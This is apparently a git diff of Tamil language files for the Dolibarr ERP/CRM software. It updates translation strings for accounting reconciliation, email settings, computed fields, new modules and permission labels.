முடக்கு (கணக்கில் வாடிக்கையாளர் விலைப்பட்டியல்கள் கணக்கில் எடுத்துக்கொள்ளப்படாது) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=வாங்குதல்களில் கணக்கியலில் பிணைப்பு & பரிமாற்றத்தை முடக்கு (கணக்கில் விற்பனையாளர் இன்வாய்ஸ்கள் கணக்கில் எடுத்துக்கொள்ளப்படாது) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=செலவு அறிக்கைகள் மீதான கணக்கியலில் பிணைப்பு மற்றும் பரிமாற்றத்தை முடக்கு (கணக்கில் செலவு அறிக்கைகள் கணக்கில் எடுத்துக்கொள்ளப்படாது) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=கணக்கியல் ஏற்றுமதி கோப்பின் தலைமுறையை உறுதிப்படுத்தவா? ExportDraftJournal=ஏற்றுமதி வரைவு இதழ் @@ -390,7 +406,7 @@ SaleLocal=உள்ளூர் விற்பனை SaleExport=ஏற்றுமதி விற்பனை SaleEEC=EEC இல் விற்பனை SaleEECWithVAT=EEC இல் VAT இல் விற்பனையானது பூஜ்யமாக இல்லை, எனவே இது ஒரு உள்நாடு விற்பனை அல்ல, மேலும் பரிந்துரைக்கப்பட்ட கணக்கு நிலையான தயாரிப்புக் கணக்காகும். -SaleEECWithoutVATNumber=VAT இல்லா EEC இல் விற்பனை ஆனால் மூன்றாம் தரப்பினரின் VAT ஐடி வரையறுக்கப்படவில்லை. நிலையான விற்பனைக்கான தயாரிப்புக் கணக்கில் நாங்கள் திரும்புவோம். தேவைப்பட்டால் மூன்றாம் தரப்பினரின் VAT ஐடி அல்லது தயாரிப்பு கணக்கை நீங்கள் சரிசெய்யலாம். +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=தடைசெய்யப்பட்டது: பரிவர்த்தனை சரிபார்க்கப்பட்டது மற்றும்/அல்லது ஏற்றுமதி செய்யப்பட்டது. ForbiddenTransactionAlreadyValidated=தடைசெய்யப்பட்டது: பரிவர்த்தனை சரிபார்க்கப்பட்டது. ## Dictionary @@ -399,7 +415,11 @@ Calculated=கணக்கிடப்பட்டது Formula=சூத்திரம் ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -408,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -429,6 +450,7 @@ AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=கணக்கு பதிவுகள் @@ -455,6 +477,7 @@ FECFormatMulticurrencyCode=மல்டிகரன்சி குறியீ DateExport=தேதி ஏற்றுமதி WarningReportNotReliable=எச்சரிக்கை, இந்த அறிக்கை லெட்ஜரை அடிப்படையாகக் கொண்டது அல்ல, எனவே லெட்ஜரில் கைமுறையாக மாற்றப்பட்ட பரிவர்த்தனை இல்லை. உங்கள் ஜர்னலைசேஷன் புதுப்பித்த நிலையில் இருந்தால், புத்தக பராமரிப்பு பார்வை மிகவும் துல்லியமாக இருக்கும். ExpenseReportJournal=செலவு அறிக்கை இதழ் -InventoryJournal=சரக்கு இதழ் +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s கணக்குகள் diff --git a/htdocs/langs/ta_IN/admin.lang b/htdocs/langs/ta_IN/admin.lang index 5817c19ae8a..88e3d472098 100644 --- a/htdocs/langs/ta_IN/admin.lang +++ b/htdocs/langs/ta_IN/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=வாடிக்கையாளர் தொகுப் WarningModuleNotActive=தொகுதி %s இயக்கப்பட்டிருக்க வேண்டும் WarningOnlyPermissionOfActivatedModules=செயல்படுத்தப்பட்ட தொகுதிகள் தொடர்பான அனுமதிகள் மட்டுமே இங்கே காட்டப்படும். Home->Setup->Modules பக்கத்தில் நீங்கள் மற்ற தொகுதிகளை செயல்படுத்தலாம். DolibarrSetup=Dolibarr நிறுவவும் அல்லது மேம்படுத்தவும் -InternalUser=உள் பயனர் -ExternalUser=வெளிப்புற பயனர் InternalUsers=உள் பயனர்கள் ExternalUsers=வெளிப்புற பயனர்கள் UserInterface=பயனர் இடைமுகம் @@ -147,6 +145,7 @@ Box=விட்ஜெட் Boxes=விட்ஜெட்டுகள் MaxNbOfLinesForBoxes=அதிகபட்சம். விட்ஜெட்டுகளுக்கான வரிகளின் எண்ணிக்கை AllWidgetsWereEnabled=கிடைக்கக்கூடிய அனைத்து விட்ஜெட்களும் இயக்கப்பட்டுள்ளன +WidgetAvailable=Widget available PositionByDefault=இயல்புநிலை ஆர்டர் Position=பதவி MenusDesc=மெனு மேலாளர்கள் இரண்டு மெனு பார்களின் (கிடைமட்ட மற்றும் செங்குத்து) உள்ளடக்கத்தை அமைக்கின்றனர். @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS ஹோஸ்ட் (php.ini இல் இயல MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS போர்ட் (யுனிக்ஸ் போன்ற கணினிகளில் PHP இல் வரையறுக்கப்படவில்லை) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS ஹோஸ்ட் (யுனிக்ஸ் போன்ற கணினிகளில் PHP என வரையறுக்கப்படவில்லை) MAIN_MAIL_EMAIL_FROM=தானியங்கி மின்னஞ்சல்களுக்கான மின்னஞ்சல் அனுப்புனர் (php.ini இல் இயல்புநிலை மதிப்பு: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=மின்னஞ்சல்களைப் பிழை திரும்பப் பெறுவதற்குப் பயன்படுத்தப்படும் மின்னஞ்சல் (அனுப்பப்பட்ட மின்னஞ்சல்களில் உள்ள 'பிழைகள்-செய்யும்' புலங்கள்) MAIN_MAIL_AUTOCOPY_TO= அனுப்பிய எல்லா மின்னஞ்சல்களையும் நகலெடுக்கவும் (Bcc). MAIN_DISABLE_ALL_MAILS=அனைத்து மின்னஞ்சல் அனுப்புதலையும் முடக்கு (சோதனை நோக்கங்களுக்காக அல்லது டெமோக்களுக்காக) @@ -375,7 +375,7 @@ DoTestSendHTML=HTML அனுப்பும் சோதனை ErrorCantUseRazIfNoYearInMask=பிழை, வரிசை {yy} அல்லது {yyyy} முகமூடியில் இல்லையெனில், கவுண்டரை மீட்டமைக்க @ என்ற விருப்பத்தைப் பயன்படுத்த முடியாது. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=பிழை, {yy}{mm} அல்லது {yyyy}{mm} முகமூடியில் இல்லையெனில் @ விருப்பத்தைப் பயன்படுத்த முடியாது. UMask=Unix/Linux/BSD/Mac கோப்பு முறைமையில் புதிய கோப்புகளுக்கான UMask அளவுரு. -UMaskExplanation=இந்த அளவுரு சேவையகத்தில் Dolibarr ஆல் உருவாக்கப்பட்ட கோப்புகளில் இயல்புநிலையாக அமைக்கப்பட்ட அனுமதிகளை வரையறுக்க உங்களை அனுமதிக்கிறது (உதாரணமாக பதிவேற்றத்தின் போது).
      இது ஆக்டல் மதிப்பாக இருக்க வேண்டும் (உதாரணமாக, 0666 என்றால் அனைவருக்கும் படிக்கவும் எழுதவும்).
      இந்த அளவுரு விண்டோஸ் சர்வரில் பயனற்றது. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=பங்களிப்பாளர்கள் மற்றும் அவர்களின் நிறுவனங்களின் பட்டியலுக்கு விக்கி பக்கத்தைப் பார்க்கவும் UseACacheDelay= வினாடிகளில் ஏற்றுமதி பதிலை தேக்ககப்படுத்துவதில் தாமதம் (0 அல்லது கேச் இல்லாதது காலி) DisableLinkToHelpCenter=உள்நுழைவு பக்கத்தில் " உதவி அல்லது ஆதரவு " என்ற இணைப்பை மறை @@ -439,8 +439,10 @@ Unique=தனித்துவமான Boolean=பூலியன் (ஒரு தேர்வுப்பெட்டி) ExtrafieldPhone = தொலைபேசி ExtrafieldPrice = விலை +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = மின்னஞ்சல் ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = பட்டியலைத் தேர்ந்தெடுக்கவும் ExtrafieldSelectList = அட்டவணையில் இருந்து தேர்ந்தெடுக்கவும் ExtrafieldSeparator=பிரிப்பான் (ஒரு புலம் அல்ல) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=தேர்வுப்பெட்டிகள் ExtrafieldCheckBoxFromList=அட்டவணையில் இருந்து தேர்வுப்பெட்டிகள் ExtrafieldLink=ஒரு பொருளுக்கான இணைப்பு ComputedFormula=கணக்கிடப்பட்ட புலம் -ComputedFormulaDesc=டைனமிக் கணக்கிடப்பட்ட மதிப்பைப் பெற, பொருளின் பிற பண்புகள் அல்லது ஏதேனும் PHP குறியீட்டைப் பயன்படுத்தி நீங்கள் இங்கே ஒரு சூத்திரத்தை உள்ளிடலாம். "?" உட்பட எந்த PHP இணக்கமான சூத்திரங்களையும் நீங்கள் பயன்படுத்தலாம். நிபந்தனை ஆபரேட்டர் மற்றும் பின்வரும் உலகளாவிய பொருள்: $db, $conf, $langs, $mysoc, $user, $object .
      எச்சரிக்கை : $object இன் சில பண்புகள் மட்டுமே கிடைக்கக்கூடும். உங்களுக்கு ஏற்றப்படாத பண்புகள் தேவைப்பட்டால், இரண்டாவது எடுத்துக்காட்டில் உள்ளதைப் போல உங்கள் சூத்திரத்தில் பொருளைப் பெறுங்கள்.
      கணக்கிடப்பட்ட புலத்தைப் பயன்படுத்தினால், இடைமுகத்திலிருந்து எந்த மதிப்பையும் நீங்களே உள்ளிட முடியாது. மேலும், தொடரியல் பிழை இருந்தால், சூத்திரம் எதையும் வழங்காது.

      சூத்திரத்தின் எடுத்துக்காட்டு:
      $object->id < 10 ? round($object-> id / 2, 2): ($object->id + 2 * $zin, 1) )

      பொருளை மீண்டும் ஏற்றுவதற்கான எடுத்துக்காட்டு
      (($reloadedobj = புதிய சமூகம்($db)) && ($reloadedobj->fetchNoCompute($obj->jid-$obj->jid-$obj-> >rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      பொருளின் சுமை மற்றும் அதன் மூலப் பொருளை கட்டாயப்படுத்துவதற்கான சூத்திரத்தின் மற்ற எடுத்துக்காட்டு: )) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = புதிய திட்டம்($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent Project கிடைக்கவில்லை' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=கணக்கிடப்பட்ட புலத்தை சேமிக்கவும் ComputedpersistentDesc=கணக்கிடப்பட்ட கூடுதல் புலங்கள் தரவுத்தளத்தில் சேமிக்கப்படும், இருப்பினும், இந்த புலத்தின் பொருள் மாற்றப்படும் போது மட்டுமே மதிப்பு மீண்டும் கணக்கிடப்படும். கணக்கிடப்பட்ட புலம் மற்ற பொருள்கள் அல்லது உலகளாவிய தரவு சார்ந்து இருந்தால் இந்த மதிப்பு தவறாக இருக்கலாம்!! ExtrafieldParamHelpPassword=இந்த புலத்தை காலியாக விடுவது என்பது குறியாக்கம் இல்லாமல் இந்த மதிப்பு சேமிக்கப்படும் (புலம் திரையில் நட்சத்திரத்துடன் மட்டுமே மறைக்கப்பட வேண்டும்).
      தரவுத்தளத்தில் கடவுச்சொல்லைச் சேமிக்க இயல்புநிலை குறியாக்க விதியைப் பயன்படுத்த 'தானியங்கு' அமைக்கவும் (பின்னர் மதிப்பு வாசிப்பு ஹாஷ் மட்டுமே, அசல் மதிப்பை மீட்டெடுக்க வழி இல்லை) @@ -477,7 +479,7 @@ InstalledInto=%s கோப்பகத்தில் நிறுவப்ப BarcodeInitForThirdparties=மூன்றாம் தரப்பினருக்கான மாஸ் பார்கோடு init BarcodeInitForProductsOrServices=தயாரிப்புகள் அல்லது சேவைகளுக்கு பெருமளவிலான பார்கோடு துவக்கவும் அல்லது மீட்டமைக்கவும் CurrentlyNWithoutBarCode=தற்போது, %s a0a65d071f6fc947c06bz0 %s பதிவு உள்ளது. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=தற்போதைய பார்கோடு மதிப்புகள் அனைத்தையும் அழிக்கவும் ConfirmEraseAllCurrentBarCode=தற்போதைய பார்கோடு மதிப்புகள் அனைத்தையும் நிச்சயமாக அழிக்க விரும்புகிறீர்களா? AllBarcodeReset=அனைத்து பார்கோடு மதிப்புகளும் அகற்றப்பட்டன @@ -501,7 +503,8 @@ WarningPHPMail=எச்சரிக்கை: பயன்பாட்டில WarningPHPMailA=- மின்னஞ்சல் சேவை வழங்குநரின் சேவையகத்தைப் பயன்படுத்துவது உங்கள் மின்னஞ்சலின் நம்பகத்தன்மையை அதிகரிக்கிறது, எனவே இது ஸ்பேம் எனக் கொடியிடப்படாமல் விநியோகத்தை அதிகரிக்கிறது WarningPHPMailB=- சில மின்னஞ்சல் சேவை வழங்குநர்கள் (Yahoo போன்றவை) தங்கள் சொந்த சேவையகத்தை விட வேறொரு சேவையகத்திலிருந்து மின்னஞ்சல் அனுப்ப உங்களை அனுமதிப்பதில்லை. உங்கள் தற்போதைய அமைப்பு மின்னஞ்சலை அனுப்ப பயன்பாட்டின் சேவையகத்தைப் பயன்படுத்துகிறது, உங்கள் மின்னஞ்சல் வழங்குநரின் சேவையகத்தை அல்ல, எனவே சில பெறுநர்கள் (கட்டுப்படுத்தப்பட்ட DMARC நெறிமுறையுடன் இணக்கமானது), உங்கள் மின்னஞ்சலையும் சில மின்னஞ்சல் வழங்குநர்களையும் ஏற்க முடியுமா என்று உங்கள் மின்னஞ்சல் வழங்குநரிடம் கேட்பார்கள். (Yahoo போன்றது) "இல்லை" என்று பதிலளிக்கலாம், ஏனெனில் சேவையகம் அவர்களுடையது அல்ல, எனவே நீங்கள் அனுப்பிய சில மின்னஞ்சல்கள் டெலிவரிக்கு ஏற்றுக்கொள்ளப்படாமல் போகலாம் (உங்கள் மின்னஞ்சல் வழங்குநரின் அனுப்பும் ஒதுக்கீட்டிலும் கவனமாக இருக்கவும்). WarningPHPMailC=- மின்னஞ்சல்களை அனுப்ப உங்கள் சொந்த மின்னஞ்சல் சேவை வழங்குநரின் SMTP சேவையகத்தைப் பயன்படுத்துவதும் சுவாரஸ்யமானது, எனவே பயன்பாட்டிலிருந்து அனுப்பப்படும் அனைத்து மின்னஞ்சல்களும் உங்கள் அஞ்சல் பெட்டியின் "அனுப்பப்பட்ட" கோப்பகத்தில் சேமிக்கப்படும். -WarningPHPMailD=மேலும், மின்னஞ்சல்களை அனுப்பும் முறையை "SMTP" மதிப்பிற்கு மாற்ற பரிந்துரைக்கப்படுகிறது. மின்னஞ்சல்களை அனுப்புவதற்கு இயல்புநிலை "PHP" முறையை நீங்கள் உண்மையிலேயே வைத்திருக்க விரும்பினால், இந்த எச்சரிக்கையைப் புறக்கணிக்கவும் அல்லது MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP ஐ முகப்பு - அமைவு - மற்றவற்றில் நிலையான 1 என அமைப்பதன் மூலம் அதை அகற்றவும். +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=உங்கள் மின்னஞ்சல் SMTP வழங்குநர் மின்னஞ்சல் கிளையண்ட்டை சில IP முகவரிகளுக்கு (மிகவும் அரிதான) கட்டுப்படுத்த வேண்டும் என்றால், இது உங்கள் ERP CRM பயன்பாட்டிற்கான அஞ்சல் பயனர் முகவரின் (MUA) ஐபி முகவரி: %s a0a65d071f6f6f6fc9 WarningPHPMailSPF=உங்கள் அனுப்புநரின் மின்னஞ்சல் முகவரியில் உள்ள டொமைன் பெயர் SPF பதிவினால் பாதுகாக்கப்பட்டிருந்தால் (உங்கள் டொமைன் பெயர் பதிவேட்டைக் கேளுங்கள்), உங்கள் டொமைனின் DNS இன் SPF பதிவில் பின்வரும் IPகளை நீங்கள் சேர்க்க வேண்டும்: %s a0a65d071f. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      எடுத்துக்காட்ட PageUrlForDefaultValuesList=
      எடுத்துக்காட்டு:
      மூன்றாம் தரப்பினரைப் பட்டியலிடும் பக்கத்திற்கு, இது %s .
      தனிப்பயன் கோப்பகத்தில் நிறுவப்பட்ட வெளிப்புற தொகுதிகளின் URL க்கு, "தனிப்பயன்/" சேர்க்க வேண்டாம், எனவே mymodule/mypagelist.php போன்ற பாதையைப் பயன்படுத்தவும் மற்றும் custom/mymodule.ph.
      url இல் ஏதேனும் அளவுரு இருந்தால் மட்டுமே இயல்புநிலை மதிப்பை நீங்கள் விரும்பினால், நீங்கள் %s ஐப் பயன்படுத்தலாம் AlsoDefaultValuesAreEffectiveForActionCreate=படிவ உருவாக்கத்திற்கான இயல்புநிலை மதிப்புகளை மேலெழுதுவது சரியாக வடிவமைக்கப்பட்ட பக்கங்களுக்கு மட்டுமே வேலை செய்யும் (அதனால் அளவுரு செயல்=உருவாக்கு அல்லது வழங்குதல்...) EnableDefaultValues=இயல்புநிலை மதிப்புகளின் தனிப்பயனாக்கத்தை இயக்கு -EnableOverwriteTranslation=மேலெழுதப்பட்ட மொழிபெயர்ப்பின் பயன்பாட்டை இயக்கவும் +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=இந்தக் குறியீட்டைக் கொண்ட விசைக்கான மொழிபெயர்ப்பு கண்டறியப்பட்டுள்ளது. இந்த மதிப்பை மாற்ற, Home-Setup-translation இலிருந்து நீங்கள் திருத்த வேண்டும். WarningSettingSortOrder=எச்சரிக்கை, புலம் தெரியாத புலமாக இருந்தால், பட்டியல் பக்கத்தில் செல்லும் போது, இயல்புநிலை வரிசை வரிசையை அமைப்பது தொழில்நுட்ப பிழையை ஏற்படுத்தலாம். இதுபோன்ற பிழையை நீங்கள் சந்தித்தால், இயல்புநிலை வரிசை வரிசையை அகற்றி இயல்புநிலை நடத்தையை மீட்டமைக்க இந்தப் பக்கத்திற்கு மீண்டும் வரவும். Field=களம் @@ -643,11 +646,13 @@ Module2300Name=திட்டமிடப்பட்ட வேலைகள் Module2300Desc=திட்டமிடப்பட்ட வேலைகள் மேலாண்மை (மாறுபெயர் கிரான் அல்லது க்ரோனோ அட்டவணை) Module2400Name=நிகழ்வுகள்/நிகழ்ச்சி நிரல் Module2400Desc=நிகழ்வுகளைக் கண்காணிக்கவும். கண்காணிப்பு நோக்கங்களுக்காக தானியங்கி நிகழ்வுகளை பதிவு செய்யவும் அல்லது கைமுறை நிகழ்வுகள் அல்லது சந்திப்புகளை பதிவு செய்யவும். நல்ல வாடிக்கையாளர் அல்லது விற்பனையாளர் உறவு மேலாண்மைக்கான முதன்மை தொகுதி இதுவாகும். +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=டிஎம்எஸ் / ஈசிஎம் Module2500Desc=ஆவண மேலாண்மை அமைப்பு / மின்னணு உள்ளடக்க மேலாண்மை. நீங்கள் உருவாக்கிய அல்லது சேமிக்கப்பட்ட ஆவணங்களின் தானியங்கி அமைப்பு. உங்களுக்குத் தேவைப்படும்போது அவற்றைப் பகிரவும். -Module2600Name=API/இணைய சேவைகள் (SOAP சர்வர்) +Module2600Name=API / Web services (SOAP server) Module2600Desc=API சேவைகளை வழங்கும் Dolibarr SOAP சேவையகத்தை இயக்கவும் -Module2610Name=API/இணைய சேவைகள் (REST சர்வர்) +Module2610Name=API / Web services (REST server) Module2610Desc=API சேவைகளை வழங்கும் Dolibarr REST சேவையகத்தை இயக்கவும் Module2660Name=இணைய சேவைகளை (SOAP கிளையன்ட்) அழைக்கவும் Module2660Desc=Dolibarr இணைய சேவை கிளையண்டை இயக்கு (தரவு/கோரிக்கைகளை வெளிப்புற சேவையகங்களுக்குத் தள்ளப் பயன்படுத்தலாம். கொள்முதல் ஆர்டர்கள் மட்டுமே தற்போது ஆதரிக்கப்படுகின்றன.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind மாற்றும் திறன்கள் Module3200Name=மாற்ற முடியாத காப்பகங்கள் Module3200Desc=வணிக நிகழ்வுகளின் மாற்ற முடியாத பதிவை இயக்கவும். நிகழ்வுகள் நிகழ்நேரத்தில் காப்பகப்படுத்தப்படும். பதிவு என்பது ஏற்றுமதி செய்யக்கூடிய சங்கிலி நிகழ்வுகளின் படிக்க மட்டுமேயான அட்டவணை. இந்த தொகுதி சில நாடுகளில் கட்டாயமாக இருக்கலாம். +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=சமுக வலைத்தளங்கள் Module3400Desc=மூன்றாம் தரப்பினர் மற்றும் முகவரிகளில் சமூக வலைப்பின்னல்கள் புலங்களை இயக்கவும் (ஸ்கைப், ட்விட்டர், பேஸ்புக், ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Incoterms ஐ நிர்வகிக்க அம்சங்களைச் சேர்க்கவும் Module63000Name=வளங்கள் Module63000Desc=நிகழ்வுகளுக்கு ஒதுக்குவதற்கான ஆதாரங்களை (அச்சுப்பொறிகள், கார்கள், அறைகள், ...) நிர்வகிக்கவும் -Permission11=வாடிக்கையாளர் இன்வாய்ஸ்களைப் படிக்கவும் +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=வாடிக்கையாளர் இன்வாய்ஸ்களை உருவாக்கவும்/மாற்றவும் Permission13=வாடிக்கையாளர் இன்வாய்ஸ்களை செல்லாததாக்கு Permission14=வாடிக்கையாளர் இன்வாய்ஸ்களை சரிபார்க்கவும் @@ -714,6 +724,7 @@ Permission27=வணிக முன்மொழிவுகளை நீக் Permission28=வர்த்தக முன்மொழிவுகளை ஏற்றுமதி செய்யுங்கள் Permission31=தயாரிப்புகளைப் படிக்கவும் Permission32=தயாரிப்புகளை உருவாக்கவும் / மாற்றவும் +Permission33=Read prices products Permission34=தயாரிப்புகளை நீக்கு Permission36=மறைக்கப்பட்ட தயாரிப்புகளைப் பார்க்கவும்/நிர்வகிக்கவும் Permission38=ஏற்றுமதி பொருட்கள் @@ -739,6 +750,7 @@ Permission79=சந்தாக்களை உருவாக்கவும் Permission81=வாடிக்கையாளர் ஆர்டர்களைப் படிக்கவும் Permission82=வாடிக்கையாளர் ஆர்டர்களை உருவாக்கவும்/மாற்றவும் Permission84=வாடிக்கையாளர் ஆர்டர்களை சரிபார்க்கவும் +Permission85=Generate the documents sales orders Permission86=வாடிக்கையாளர்களுக்கு ஆர்டர்களை அனுப்பவும் Permission87=வாடிக்கையாளர் ஆர்டர்களை மூடு Permission88=வாடிக்கையாளர் ஆர்டர்களை ரத்து செய் @@ -840,9 +852,9 @@ Permission286=தொடர்புகளை ஏற்றுமதி செய Permission291=கட்டணங்களைப் படிக்கவும் Permission292=கட்டணங்களில் அனுமதிகளை அமைக்கவும் Permission293=வாடிக்கையாளரின் கட்டணங்களை மாற்றவும் -Permission300=பார்கோடுகளைப் படிக்கவும் -Permission301=பார்கோடுகளை உருவாக்கவும்/மாற்றவும் -Permission302=பார்கோடுகளை நீக்கு +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=சேவைகளைப் படிக்கவும் Permission312=ஒப்பந்தத்திற்கு சேவை/சந்தாவை ஒதுக்கவும் Permission331=புக்மார்க்குகளைப் படிக்கவும் @@ -874,6 +886,7 @@ Permission525=கடன் கால்குலேட்டரை அணுக Permission527=ஏற்றுமதி கடன்கள் Permission531=சேவைகளைப் படிக்கவும் Permission532=சேவைகளை உருவாக்கவும்/மாற்றவும் +Permission533=Read prices services Permission534=சேவைகளை நீக்கு Permission536=மறைக்கப்பட்ட சேவைகளைப் பார்க்கவும்/நிர்வகிக்கவும் Permission538=ஏற்றுமதி சேவைகள் @@ -937,7 +950,7 @@ Permission1190=(இரண்டாவது ஒப்புதல்) கொள Permission1191=ஏற்றுமதி சப்ளையர் ஆர்டர்கள் மற்றும் அவற்றின் பண்புக்கூறுகள் Permission1201=ஏற்றுமதியின் முடிவைப் பெறுங்கள் Permission1202=ஏற்றுமதியை உருவாக்கவும்/மாற்றவும் -Permission1231=விற்பனையாளர் இன்வாய்ஸ்களைப் படிக்கவும் +Permission1231=Read vendor invoices (and payments) Permission1232=விற்பனையாளர் இன்வாய்ஸ்களை உருவாக்கவும்/மாற்றவும் Permission1233=விற்பனையாளர் இன்வாய்ஸ்களை சரிபார்க்கவும் Permission1234=விற்பனையாளர் இன்வாய்ஸ்களை நீக்கவும் @@ -968,13 +981,14 @@ Permission3301=புதிய தொகுதிகளை உருவாக் Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=மதிப்பீட்டைச் சரிபார்க்கவும் -Permission4023=மதிப்பீட்டை நீக்கு -Permission4030=ஒப்பீட்டு மெனுவைப் பார்க்கவும் +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=இணையதள உள்ளடக்கத்தைப் படிக்கவும் Permission10002=இணையதள உள்ளடக்கத்தை உருவாக்கவும்/மாற்றவும் (html மற்றும் javascript உள்ளடக்கம்) Permission10003=வலைத்தள உள்ளடக்கத்தை உருவாக்கவும்/மாற்றவும் (டைனமிக் php குறியீடு). ஆபத்தானது, கட்டுப்படுத்தப்பட்ட டெவலப்பர்களுக்கு ஒதுக்கப்பட வேண்டும். @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=அலகு வகை SetupSaved=அமைவு சேமிக்கப்பட்டது SetupNotSaved=அமைவு சேமிக்கப்படவில்லை +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=தொகுதிப் பட்டியலுக்குத் திரும்பு BackToDictionaryList=அகராதிகளின் பட்டியலுக்குத் 